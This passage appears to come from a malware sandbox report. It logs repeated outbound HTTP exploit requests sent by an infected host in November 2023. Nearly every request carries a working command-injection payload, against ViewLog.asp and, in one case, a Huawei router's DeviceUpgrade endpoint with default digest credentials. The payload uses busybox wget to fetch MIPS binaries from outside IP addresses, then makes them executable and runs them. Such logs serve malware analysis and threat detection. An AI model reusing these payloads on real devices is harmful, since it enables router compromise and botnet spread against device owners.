                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.239836931 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                799192.168.2.154523494.120.219.1738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.703253984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                800192.168.2.154688494.121.149.1568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.703711987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                801192.168.2.154119494.43.126.1908080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.944766998 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                802192.168.2.155078031.200.97.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:55.291279078 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                803192.168.2.154838462.29.75.2088080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:55.292102098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.472214937 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.848160028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:00.792084932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.423917055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                804192.168.2.155847895.86.125.1948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:55.294219017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.999224901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                805192.168.2.153566631.136.125.1998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:55.407078981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.488132000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.632075071 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                806192.168.2.154231694.112.135.928080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:56.512948036 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.112173080 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                807192.168.2.154942841.21.176.19537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:56.696002960 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                808192.168.2.155321631.136.195.228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:56.894656897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.464199066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.616126060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.048085928 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.655993938 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.871695042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
